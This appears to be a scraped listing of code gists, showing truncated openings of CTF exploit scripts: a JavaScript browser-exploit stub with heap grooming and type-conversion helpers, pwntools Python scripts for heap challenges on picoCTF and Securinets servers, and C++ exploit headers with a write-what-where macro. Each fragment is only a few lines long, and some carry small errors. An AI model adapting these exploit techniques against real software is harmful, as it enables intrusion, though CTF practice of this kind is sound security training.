This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<script> | |
( async() => { | |
let gc = function() { | |
for(let i = 0; i < 100; i++) { | |
new ArrayBuffer(0x10000000); | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python3 | |
from pwn import * | |
# Helpers | |
def mangle(addr, value): | |
return (addr >> 12) ^ value | |
def demangle(obfus_ptr): | |
o2 = (obfus_ptr >> 12) ^ obfus_ptr | |
return (o2 >> 24) ^ o2 |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
//"use script"; | |
const color_red = "[31m"; | |
const color_green = "[32m"; | |
const color_yellow = "[33m"; | |
const color_blue = "[43m"; | |
const color_mag = "[35m"; | |
const color_cyan = "[36m"; | |
const color_default = "[0m"; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
class Helpers { | |
constructor() { | |
this.cvt_buf = new ArrayBuffer(8); | |
this.cvt_f64a = new Float64Array(this.cvt_buf); | |
this.cvt_u64a = new BigUint64Array(this.cvt_buf); | |
this.cvt_u32a = new Uint32Array(this.cvt_buf); | |
} | |
ftoi(f) { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
from past.builtins import xrange | |
def a(): | |
io.sendlineafter(')\n>','1') | |
def e(idx, data): | |
io.sendlineafter(')\n>','3') | |
io.sendlineafter('Index: ',str(idx)) | |
io.sendafter('Content: ',data) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import numpy as np | |
from IO_FILE import * | |
if __name__ == '__main__': | |
# io = process('./main2_success') | |
io = remote("bin.q21.ctfsecurinets.com",1340) | |
libc = ELF("./libc.so.6") | |
io.sendafter("Please provide student username: ","AAAAAAAA") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
if __name__=="_main__": | |
# io = process('./vuln') | |
io = remote('mercury.picoctf.net', 5654) | |
exe = ELF('./vuln') | |
io.sendlineafter("portfolio","1"); |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "gadgets.h" | |
#include <iostream> | |
#include <pwntools> | |
#include <stdint.h> | |
#include <string> | |
#include <sys/time.h> | |
#include <vector> | |
#define www(where, what) \ | |
io->sendlineafter("n = ", "-1"); \ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <pwntools> | |
#include <stdint.h> | |
#include <string> | |
#include <sys/time.h> | |
#include <vector> | |
using namespace pwn; | |
class Hack { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <pwntools> | |
#include <stdint.h> | |
#include <string> | |
#include <sys/time.h> | |
#include <vector> | |
using namespace pwn; | |
void play(Remote *io) { |